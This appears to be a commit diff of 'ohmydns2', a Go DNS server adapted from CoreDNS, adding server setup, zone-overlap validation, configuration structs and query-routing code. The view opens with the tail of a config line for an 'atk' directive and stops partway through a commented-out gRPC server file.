atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30
}

View File

@@ -0,0 +1,5 @@
package core
// 注册服务并导入所有插件
import _ "ohmydns2/core/dnsserver"
import _ "ohmydns2/core/prober"

View File

@@ -0,0 +1,86 @@
package dnsserver
import (
"fmt"
"net"
"strings"
)
type zoneAddr struct {
Zone string
Port string
Transport string // dns, tls or grpc
Address string // used for bound zoneAddr - validation of overlapping
}
// String returns the string representation of z.
func (z zoneAddr) String() string {
s := z.Transport + "://" + z.Zone + ":" + z.Port
if z.Address != "" {
s += " on " + z.Address
}
return s
}
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
parts := strings.Split(address, "://")
switch len(parts) {
case 1:
ip, port, err := net.SplitHostPort(parts[0])
return "", ip, port, err
case 2:
ip, port, err := net.SplitHostPort(parts[1])
return parts[0], ip, port, err
default:
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
}
}
type zoneOverlap struct {
registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key
unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key
}
func newOverlapZone() *zoneOverlap {
return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)}
}
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
existingZone, overlappingZone = zo.check(z)
if existingZone != nil || overlappingZone != nil {
return existingZone, overlappingZone
}
// there is no overlap, keep the current zoneAddr for future checks
zo.registeredAddr[z] = z
zo.unboundOverlap[z.unbound()] = z
return nil, nil
}
// check validates a zoneAddr for overlap without registering it
func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
if exist, ok := zo.registeredAddr[z]; ok {
// exact same zone already registered
return &exist, nil
}
uz := z.unbound()
if already, ok := zo.unboundOverlap[uz]; ok {
if z.Address == "" {
// current is not bound to an address, but there is already another zone with a bind address registered
return nil, &already
}
if _, ok := zo.registeredAddr[uz]; ok {
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
return nil, &uz
}
}
// there is no overlap
return nil, nil
}
// unbound returns an unbound version of the zoneAddr
func (z zoneAddr) unbound() zoneAddr {
return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport}
}

View File

@@ -0,0 +1,105 @@
package dnsserver
import (
"context"
"crypto/tls"
"fmt"
"net/http"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/request"
"time"
"github.com/coredns/caddy"
)
// Config configuration for a single server.
type Config struct {
// The zone of the site.
Zone string
// one or several hostnames to bind the server to.
// defaults to a single empty string that denote the wildcard address
ListenHosts []string
// The port to listen on.
Port string
// Root points to a base directory we find user defined "things".
// First consumer is the file plugin to looks for zone files in this place.
Root string
// Debug controls the panic/recover mechanism that is enabled by default.
Debug bool
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
Stacktrace bool
// The transport we implement, normally just "dns" over TCP/UDP, but could be
// DNS-over-TLS or DNS-over-gRPC.
Transport string
// If this function is not nil it will be used to inspect and validate
// HTTP requests. Although this isn't referenced in-tree, external plugins
// may depend on it.
HTTPRequestValidateFunc func(*http.Request) bool
// FilterFuncs is used to further filter access
// to this handler. E.g. to limit access to a reverse zone
// on a non-octet boundary, i.e. /17
FilterFuncs []FilterFunc
// ViewName is the name of the Viewer PLugin defined in the Config
ViewName string
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
TLSConfig *tls.Config
// Timeouts for TCP, TLS and HTTPS servers.
ReadTimeout time.Duration
WriteTimeout time.Duration
IdleTimeout time.Duration
// TSIG secrets, [name]key.
TsigSecret map[string]string
// Plugin stack.
Plugin []plugin.Plugin
// Compiled plugin stack.
pluginChain plugin.Handler
// Plugin interested in announcing that they exist, so other plugin can call methods
// on them should register themselves here. The name should be the name as return by the
// Handler's Name method.
registry map[string]plugin.Handler
// firstConfigInBlock is used to reference the first config in a server block, for the
// purpose of sharing single instance of each plugin among all zones in a server block.
firstConfigInBlock *Config
// metaCollector references the first MetadataCollector plugin, if one exists
metaCollector MetadataCollector
}
// FilterFunc is a function that filters requests from the Config
type FilterFunc func(context.Context, *request.Request) bool
// keyForConfig builds a key for identifying the configs during setup time
func keyForConfig(blocIndex int, blocKeyIndex int) string {
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
}
// GetConfig gets the Config that corresponds to c.
// If none exist nil is returned.
func GetConfig(c *caddy.Controller) *Config {
ctx := c.Context().(*dnsContext)
key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
if cfg, ok := ctx.keysToConfigs[key]; ok {
return cfg
}
// we should only get here during tests because directive
// actions typically skip the server blocks where we make
// the configs.
ctx.saveConfig(key, &Config{ListenHosts: []string{""}})
return GetConfig(c)
}

View File

@@ -0,0 +1,29 @@
package dnsserver
import (
"net"
"net/http"
"ohmydns2/plugin/pkg/nonwriter"
)
// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods.
type DoHWriter struct {
nonwriter.Writer
// raddr is the remote's address. This can be optionally set.
raddr net.Addr
// laddr is our address. This can be optionally set.
laddr net.Addr
// request is the HTTP request we're currently handling.
request *http.Request
}
// RemoteAddr returns the remote address.
func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr }
// LocalAddr returns the local address.
func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr }
// Request returns the HTTP request
func (d *DoHWriter) Request() *http.Request { return d.request }

View File

@@ -0,0 +1,60 @@
package dnsserver
import (
"fmt"
"ohmydns2/plugin/pkg/dnsutil"
"regexp"
"sort"
)
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
func checkZoneSyntax(zone string) bool {
if zone == "." || dnsutil.IsReverse(zone) != 0 {
return true
}
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
return regex1035PreferredSyntax
}
// startUpZones creates the text that we show when starting up:
// grpc://example.com.:1055
// example.com.:1053 on 127.0.0.1
func startUpZones(protocol, addr string, zones map[string][]*Config) string {
s := ""
keys := make([]string, len(zones))
i := 0
for k := range zones {
keys[i] = k
i++
}
sort.Strings(keys)
for _, zone := range keys {
//if strings.HasPrefix(protocol, "prober") {
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
// continue
//}
if !checkZoneSyntax(zone) {
s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone)
}
// split addr into protocol, IP and Port
_, ip, port, err := SplitProtocolHostPort(addr)
if err != nil {
// this should not happen, but we need to take care of it anyway
s += fmt.Sprintln(protocol + zone + ":" + addr)
continue
}
if ip == "" {
s += fmt.Sprintln(protocol + zone + ":" + port)
continue
}
// if the server is listening on a specific address let's make it visible in the log,
// so one can differentiate between all active listeners
s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip)
}
return s
}

View File

@@ -0,0 +1,328 @@
package dnsserver
import (
"fmt"
"net"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/parse"
"ohmydns2/plugin/pkg/transport"
"time"
"github.com/coredns/caddy"
"github.com/coredns/caddy/caddyfile"
"github.com/miekg/dns"
)
const serverType = "dns"
func init() {
caddy.RegisterServerType(serverType, caddy.ServerType{
Directives: func() []string { return Directives },
DefaultInput: func() caddy.Input {
return caddy.CaddyfileInput{
Filepath: "Ohmyfile",
Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"),
ServerTypeName: serverType,
}
},
NewContext: newContext,
})
}
func newContext(i *caddy.Instance) caddy.Context {
return &dnsContext{keysToConfigs: make(map[string]*Config)}
}
type dnsContext struct {
keysToConfigs map[string]*Config
// configs is the master list of all site configs.
configs []*Config
}
func (h *dnsContext) saveConfig(key string, cfg *Config) {
h.configs = append(h.configs, cfg)
h.keysToConfigs[key] = cfg
}
// Compile-time check to ensure dnsContext implements the caddy.Context interface
var _ caddy.Context = &dnsContext{}
// InspectServerBlocks make sure that everything checks out before
// executing directives and otherwise prepares the directives to
// be parsed and executed.
func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
// Normalize and check all the zone names and check for duplicates
for ib, s := range serverBlocks {
// Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for
// more than one reverse zone, replace the current value and add the rest to s.Keys.
zoneAddrs := []zoneAddr{}
for ik, k := range s.Keys {
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
hosts, port, err := plugin.SplitHostPort(k1)
// We need to make this a fully qualified domain name to catch all errors here and not later when
// plugin.Normalize is called again on these strings, with the prime difference being that the domain
// name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a
// bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to
// "index out of range".
for ih := range hosts {
_, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih]))
if err != nil {
return nil, err
}
}
if err != nil {
return nil, err
}
if port == "" {
switch trans {
case transport.DNS:
port = Port
case transport.TLS:
port = transport.TLSPort
case transport.GRPC:
port = transport.GRPCPort
case transport.HTTPS:
port = transport.HTTPSPort
}
}
if len(hosts) > 1 {
s.Keys[ik] = hosts[0] + ":" + port // replace for the first
for _, h := range hosts[1:] { // add the rest
s.Keys = append(s.Keys, h+":"+port)
}
}
for i := range hosts {
zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans})
}
}
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
var firstConfigInBlock *Config
for ik := range s.Keys {
za := zoneAddrs[ik]
s.Keys[ik] = za.String()
// Save the config to our master list, and key it for lookups.
cfg := &Config{
Zone: za.Zone,
ListenHosts: []string{""},
Port: za.Port,
Transport: za.Transport,
}
// Set reference to the first config in the current block.
// This is used later by MakeServers to share a single plugin list
// for all zones in a server block.
if ik == 0 {
firstConfigInBlock = cfg
}
cfg.firstConfigInBlock = firstConfigInBlock
keyConfig := keyForConfig(ib, ik)
h.saveConfig(keyConfig, cfg)
}
}
return serverBlocks, nil
}
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
func (h *dnsContext) MakeServers() ([]caddy.Server, error) {
// Copy the Plugin, ListenHosts and Debug from first config in the block
// to all other config in the same block . Doing this results in zones
// sharing the same plugin instances and settings as other zones in
// the same block.
for _, c := range h.configs {
c.Plugin = c.firstConfigInBlock.Plugin
c.ListenHosts = c.firstConfigInBlock.ListenHosts
c.Debug = c.firstConfigInBlock.Debug
c.Stacktrace = c.firstConfigInBlock.Stacktrace
// Fork TLSConfig for each encrypted connection
c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone()
c.ReadTimeout = c.firstConfigInBlock.ReadTimeout
c.WriteTimeout = c.firstConfigInBlock.WriteTimeout
c.IdleTimeout = c.firstConfigInBlock.IdleTimeout
c.TsigSecret = c.firstConfigInBlock.TsigSecret
}
// we must map (group) each config to a bind address
groups, err := groupConfigsByListenAddr(h.configs)
if err != nil {
return nil, err
}
// then we create a server for each group
var servers []caddy.Server
for addr, group := range groups {
// switch on addr
switch tr, _ := parse.Transport(addr); tr {
case transport.DNS:
s, err := NewServer(addr, group)
if err != nil {
return nil, err
}
servers = append(servers, s)
case transport.TLS:
s, err := NewServerTLS(addr, group)
if err != nil {
return nil, err
}
servers = append(servers, s)
//暂不启用grpc传输
//case transport.GRPC:
// s, err := NewServergRPC(addr, group)
// if err != nil {
// return nil, err
// }
// servers = append(servers, s)
//case transport.PROBER:
// s, err := prober.NewProberHTTP(addr, group)
// if err != nil {
// return nil, err
// }
// servers = append(servers, s)
case transport.HTTPS:
s, err := NewServerHTTPS(addr, group)
if err != nil {
return nil, err
}
servers = append(servers, s)
}
}
// For each server config, check for View Filter plugins
for _, c := range h.configs {
// Add filters in the plugin.cfg order for consistent filter func evaluation order.
for _, d := range Directives {
if vf, ok := c.registry[d].(Viewer); ok {
if c.ViewName != "" {
return nil, fmt.Errorf("multiple views defined in server block")
}
c.ViewName = vf.ViewName()
c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
}
}
}
// Verify that there is no overlap on the zones and listen addresses
// for unfiltered server configs
errValid := h.validateZonesAndListeningAddresses()
if errValid != nil {
return nil, errValid
}
return servers, nil
}
// AddPlugin adds a plugin to a site's plugin stack.
func (c *Config) AddPlugin(m plugin.Plugin) {
c.Plugin = append(c.Plugin, m)
}
// registerHandler adds a handler to a site's handler registration. Handlers
//
// use this to announce that they exist to other plugin.
func (c *Config) registerHandler(h plugin.Handler) {
if c.registry == nil {
c.registry = make(map[string]plugin.Handler)
}
// Just overwrite...
c.registry[h.Name()] = h
}
// Handler returns the plugin handler that has been added to the config under its name.
// This is useful to inspect if a certain plugin is active in this server.
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
// comes before the plugin you are checking; it will not be there (yet).
func (c *Config) Handler(name string) plugin.Handler {
if c.registry == nil {
return nil
}
if h, ok := c.registry[name]; ok {
return h
}
return nil
}
// Handlers returns a slice of plugins that have been registered. This can be used to
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
// comes before the plugin you are checking; it will not be there (yet).
func (c *Config) Handlers() []plugin.Handler {
if c.registry == nil {
return nil
}
hs := make([]plugin.Handler, 0, len(c.registry))
for k := range c.registry {
hs = append(hs, c.registry[k])
}
return hs
}
func (h *dnsContext) validateZonesAndListeningAddresses() error {
//Validate Zone and addresses
checker := newOverlapZone()
for _, conf := range h.configs {
for _, h := range conf.ListenHosts {
// Validate the overlapping of ZoneAddr
akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port}
var existZone, overlapZone *zoneAddr
if len(conf.FilterFuncs) > 0 {
// This config has filters. Check for overlap with other (unfiltered) configs.
existZone, overlapZone = checker.check(akey)
} else {
// This config has no filters. Check for overlap with other (unfiltered) configs,
// and register the zone to prevent subsequent zones from overlapping with it.
existZone, overlapZone = checker.registerAndCheck(akey)
}
if existZone != nil {
return fmt.Errorf("cannot serve %s - it is already defined", akey.String())
}
if overlapZone != nil {
return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String())
}
}
}
return nil
}
// groupConfigsByListenAddr groups site configs by their listen
// (bind) address, so sites that use the same listener can be served
// on the same server instance. The return value maps the listen
// address (what you pass into net.Listen) to the list of site configs.
// This function does NOT vet the configs to ensure they are compatible.
func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) {
groups := make(map[string][]*Config)
for _, conf := range configs {
for _, h := range conf.ListenHosts {
addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
if err != nil {
return nil, err
}
addrstr := conf.Transport + "://" + addr.String()
groups[addrstr] = append(groups[addrstr], conf)
}
}
return groups, nil
}
// DefaultPort is the default port.
const DefaultPort = transport.Port
// These "soft defaults" are configurable by
// command line flags, etc.
var (
// Port is the port we listen on by default.
Port = DefaultPort
// GracefulTimeout is the maximum duration of a graceful shutdown.
GracefulTimeout time.Duration
)
var _ caddy.GracefulServer = new(Server)

View File

@@ -0,0 +1,456 @@
package dnsserver
import (
"context"
"fmt"
"github.com/coredns/caddy"
"github.com/miekg/dns"
ot "github.com/opentracing/opentracing-go"
"net"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/edns"
"ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/rcode"
"ohmydns2/plugin/pkg/request"
"ohmydns2/plugin/pkg/reuseport"
"ohmydns2/plugin/pkg/trace"
"ohmydns2/plugin/pkg/transport"
"ohmydns2/plugin/prometheus/vars"
"runtime"
"runtime/debug"
"strings"
"sync"
"time"
)
// Server represents an instance of a server, which serves
// DNS requests at a particular address (host and port). A
// server is capable of serving numerous zones on
// the same address and the listener may be stopped for
// graceful termination (POSIX only).
type Server struct {
Addr string // Address we listen on
server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case.
m sync.Mutex // protects the servers
zones map[string][]*Config // zones keyed by their address
dnsWg sync.WaitGroup // used to wait on outstanding connections
graceTimeout time.Duration // the maximum duration of a graceful shutdown
trace trace.Trace // the trace plugin for the server
debug bool // disable recover()
stacktrace bool // enable stacktrace in recover error log
classChaos bool // allow non-INET class queries
idleTimeout time.Duration // Idle timeout for TCP
readTimeout time.Duration // Read timeout for TCP
writeTimeout time.Duration // Write timeout for TCP
tsigSecret map[string]string
}
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
type MetadataCollector interface {
Collect(context.Context, request.Request) context.Context
}
// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class
// queries are blocked unless queries from enableChaos are loaded.
func NewServer(addr string, group []*Config) (*Server, error) {
s := &Server{
Addr: addr,
zones: make(map[string][]*Config),
graceTimeout: 5 * time.Second,
idleTimeout: 10 * time.Second,
readTimeout: 3 * time.Second,
writeTimeout: 5 * time.Second,
tsigSecret: make(map[string]string),
}
log.Infof("Do53服务启动监听地址: %v", addr)
// We have to bound our wg with one increment
// to prevent a "race condition" that is hard-coded
// into sync.WaitGroup.Wait() - basically, an add
// with a positive delta must be guaranteed to
// occur before Wait() is called on the wg.
// In a way, this kind of acts as a safety barrier.
s.dnsWg.Add(1)
for _, site := range group {
if site.Debug {
s.debug = true
log.D.Set()
}
s.stacktrace = site.Stacktrace
// append the config to the zone's configs
s.zones[site.Zone] = append(s.zones[site.Zone], site)
// set timeouts
if site.ReadTimeout != 0 {
s.readTimeout = site.ReadTimeout
}
if site.WriteTimeout != 0 {
s.writeTimeout = site.WriteTimeout
}
if site.IdleTimeout != 0 {
s.idleTimeout = site.IdleTimeout
}
// copy tsig secrets
for key, secret := range site.TsigSecret {
s.tsigSecret[key] = secret
}
// compile custom plugin for everything
var stack plugin.Handler
for i := len(site.Plugin) - 1; i >= 0; i-- {
stack = site.Plugin[i](stack)
// register the *handler* also
site.registerHandler(stack)
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
// list backwards, so the first MetadataCollector plugin wins.
if mdc, ok := stack.(MetadataCollector); ok {
site.metaCollector = mdc
}
if s.trace == nil && stack.Name() == "trace" {
// we have to stash away the plugin, not the
// Tracer object, because the Tracer won't be initialized yet
if t, ok := stack.(trace.Trace); ok {
s.trace = t
}
}
// Unblock CH class queries when any of these plugins are loaded.
if _, ok := EnableChaos[stack.Name()]; ok {
s.classChaos = true
}
}
site.pluginChain = stack
}
if !s.debug {
// When reloading we need to explicitly disable debug logging if it is now disabled.
log.D.Clear()
}
return s, nil
}
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
var _ caddy.GracefulServer = &Server{}
// Serve starts the server with an existing listener. It blocks until the server stops.
// This implements caddy.TCPServer interface.
func (s *Server) Serve(l net.Listener) error {
s.m.Lock()
s.server[tcp] = &dns.Server{Listener: l,
Net: "tcp",
TsigSecret: s.tsigSecret,
MaxTCPQueries: tcpMaxQueries,
ReadTimeout: s.readTimeout,
WriteTimeout: s.writeTimeout,
IdleTimeout: func() time.Duration {
return s.idleTimeout
},
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
ctx := context.WithValue(context.Background(), Key{}, s)
ctx = context.WithValue(ctx, LoopKey{}, 0)
s.ServeDNS(ctx, w, r)
})}
s.m.Unlock()
return s.server[tcp].ActivateAndServe()
}
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
// This implements caddy.UDPServer interface.
func (s *Server) ServePacket(p net.PacketConn) error {
s.m.Lock()
s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
ctx := context.WithValue(context.Background(), Key{}, s)
ctx = context.WithValue(ctx, LoopKey{}, 0)
s.ServeDNS(ctx, w, r)
}), TsigSecret: s.tsigSecret}
s.m.Unlock()
return s.server[udp].ActivateAndServe()
}
// Listen implements caddy.TCPServer interface.
func (s *Server) Listen() (net.Listener, error) {
l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):])
if err != nil {
return nil, err
}
return l, nil
}
// WrapListener Listen implements caddy.GracefulServer interface.
func (s *Server) WrapListener(ln net.Listener) net.Listener {
return ln
}
// ListenPacket implements caddy.UDPServer interface.
func (s *Server) ListenPacket() (net.PacketConn, error) {
p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):])
if err != nil {
return nil, err
}
return p, nil
}
// Stop stops the server. It blocks until the server is
// totally stopped. On POSIX systems, it will wait for
// connections to close (up to a max timeout of a few
// seconds); on Windows it will close the listener
// immediately.
// This implements Caddy.Stopper interface.
func (s *Server) Stop() (err error) {
if runtime.GOOS != "windows" {
// force connections to close after timeout
done := make(chan struct{})
go func() {
s.dnsWg.Done() // decrement our initial increment used as a barrier
s.dnsWg.Wait()
close(done)
}()
// Wait for remaining connections to finish or
// force them all to close after timeout
select {
case <-time.After(s.graceTimeout):
case <-done:
}
}
// Close the listener now; this stops the server without delay
s.m.Lock()
for _, s1 := range s.server {
// We might not have started and initialized the full set of servers
if s1 != nil {
err = s1.Shutdown()
}
}
s.m.Unlock()
return
}
// Address together with Stop() implement caddy.GracefulServer.
func (s *Server) Address() string { return s.Addr }
// ServeDNS is the entry point for every request to the address that
// is bound to. It acts as a multiplexer for the requests zonename as
// defined in the request so that the correct zone
// (configuration and plugin stack) will handle the request.
func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) {
// The default dns.Mux checks the question section size, but we have our
// own mux here. Check if we have a question section. If not drop them here.
if r == nil || len(r.Question) == 0 {
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
return
}
if !s.debug {
defer func() {
// In case the user doesn't enable error plugin, we still
// need to make sure that we stay alive up here
if rec := recover(); rec != nil {
if s.stacktrace {
log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack()))
} else {
log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec)
}
vars.Panic.Inc()
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
}
}()
}
if !s.classChaos && r.Question[0].Qclass != dns.ClassINET {
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
return
}
if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once.
w.WriteMsg(m)
return
}
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
w = request.NewScrubWriter(r, w)
q := strings.ToLower(r.Question[0].Name)
var (
off int
end bool
dshandler *Config
)
for {
if z, ok := s.zones[q[off:]]; ok {
for _, h := range z {
if h.pluginChain == nil { // zone defined, but has not got any plugins
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
return
}
if h.metaCollector != nil {
// Collect metadata now, so it can be used before we send a request down the plugin chain.
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
}
// If all filter funcs pass, use this config.
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
if h.ViewName != "" {
// if there was a view defined for this Config, set the view name in the context
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
}
if r.Question[0].Qtype != dns.TypeDS {
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
if !plugin.ClientWrite(rcode) {
errorFunc(s.Addr, w, r, rcode)
}
return
}
// The type is DS, keep the handler, but keep on searching as maybe we are serving
// the parent as well and the DS should be routed to it - this will probably *misroute* DS
// queries to a possibly grand parent, but there is no way for us to know at this point
// if there is an actual delegation from grandparent -> parent -> zone.
// In all fairness: direct DS queries should not be needed.
dshandler = h
}
}
}
off, end = dns.NextLabel(q, off)
if end {
break
}
}
if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil {
// DS request, and we found a zone, use the handler for the query.
rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r)
if !plugin.ClientWrite(rcode) {
errorFunc(s.Addr, w, r, rcode)
}
return
}
// Wildcard match, if we have found nothing try the root zone as a last resort.
if z, ok := s.zones["."]; ok {
for _, h := range z {
if h.pluginChain == nil {
continue
}
if h.metaCollector != nil {
// Collect metadata now, so it can be used before we send a request down the plugin chain.
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
}
// If all filter funcs pass, use this config.
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
if h.ViewName != "" {
// if there was a view defined for this Config, set the view name in the context
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
}
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
if !plugin.ClientWrite(rcode) {
errorFunc(s.Addr, w, r, rcode)
}
return
}
}
}
// Still here? Error out with REFUSED.
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
}
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool {
for _, ff := range filterFuncs {
if !ff(ctx, req) {
return false
}
}
return true
}
// OnStartupComplete lists the sites served by this server
// and any relevant information, assuming Quiet is false.
func (s *Server) OnStartupComplete() {
if Quiet {
return
}
out := startUpZones("", s.Addr, s.zones)
if out != "" {
fmt.Print(out)
}
}
// Tracer returns the tracer in the server if defined.
func (s *Server) Tracer() ot.Tracer {
if s.trace == nil {
return nil
}
return s.trace.Tracer()
}
// errorFunc responds to an DNS request with an error.
func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
state := request.Request{W: w, Req: r}
answer := new(dns.Msg)
answer.SetRcode(r, rc)
state.SizeAndDo(answer)
w.WriteMsg(answer)
}
func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
state := request.Request{W: w, Req: r}
answer := new(dns.Msg)
answer.SetRcode(r, rc)
state.SizeAndDo(answer)
vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now())
w.WriteMsg(answer)
}
const (
tcp = 0
udp = 1
tcpMaxQueries = -1
)
type (
// Key is the context key for the current server added to the context.
Key struct{}
// LoopKey is the context key to detect server wide loops.
LoopKey struct{}
// ViewKey is the context key for the current view, if defined
ViewKey struct{}
)
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
var EnableChaos = map[string]struct{}{
"chaos": {},
"forward": {},
"proxy": {},
}
// Quiet mode will not show any informative output on initialization.
var Quiet bool

View File

@@ -0,0 +1,180 @@
package dnsserver
//暂不启用
//
//import (
// "crypto/tls"
// "errors"
// "fmt"
// "net"
// "ohmydns2/plugin/pkg/reuseport"
// "ohmydns2/plugin/pkg/transport"
//
// "github.com/coredns/caddy"
// "github.com/miekg/dns"
// "github.com/opentracing/opentracing-go"
//)
//
//// ServergRPC represents an instance of a DNS-over-gRPC server.
//type ServergRPC struct {
// *Server
// *pb.UnimplementedDnsServiceServer
// grpcServer *grpc.Server
// listenAddr net.Addr
// tlsConfig *tls.Config
//}
//
//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it.
//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) {
// s, err := NewServer(addr, group)
// if err != nil {
// return nil, err
// }
// // The *tls* plugin must make sure that multiple conflicting
// // TLS configuration returns an error: it can only be specified once.
// var tlsConfig *tls.Config
// for _, z := range s.zones {
// for _, conf := range z {
// // Should we error if some configs *don't* have TLS?
// tlsConfig = conf.TLSConfig
// }
// }
// // http/2 is required when using gRPC. We need to specify it in next protos
// // or the upgrade won't happen.
// if tlsConfig != nil {
// tlsConfig.NextProtos = []string{"h2"}
// }
//
// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil
//}
//
//// Compile-time check to ensure Server implements the caddy.GracefulServer interface
//var _ caddy.GracefulServer = &Server{}
//
//// Serve implements caddy.TCPServer interface.
//func (s *ServergRPC) Serve(l net.Listener) error {
// s.m.Lock()
// s.listenAddr = l.Addr()
// s.m.Unlock()
//
// if s.Tracer() != nil {
// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool {
// return parentSpanCtx != nil
// }
// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent))
// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept))
// } else {
// s.grpcServer = grpc.NewServer()
// }
//
// pb.RegisterDnsServiceServer(s.grpcServer, s)
//
// if s.tlsConfig != nil {
// l = tls.NewListener(l, s.tlsConfig)
// }
// return s.grpcServer.Serve(l)
//}
//
//// ServePacket implements caddy.UDPServer interface.
//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil }
//
//// Listen implements caddy.TCPServer interface.
//func (s *ServergRPC) Listen() (net.Listener, error) {
// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):])
// if err != nil {
// return nil, err
// }
// return l, nil
//}
//
//// ListenPacket implements caddy.UDPServer interface.
//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil }
//
//// OnStartupComplete lists the sites served by this server
//// and any relevant information, assuming Quiet is false.
//func (s *ServergRPC) OnStartupComplete() {
// if Quiet {
// return
// }
//
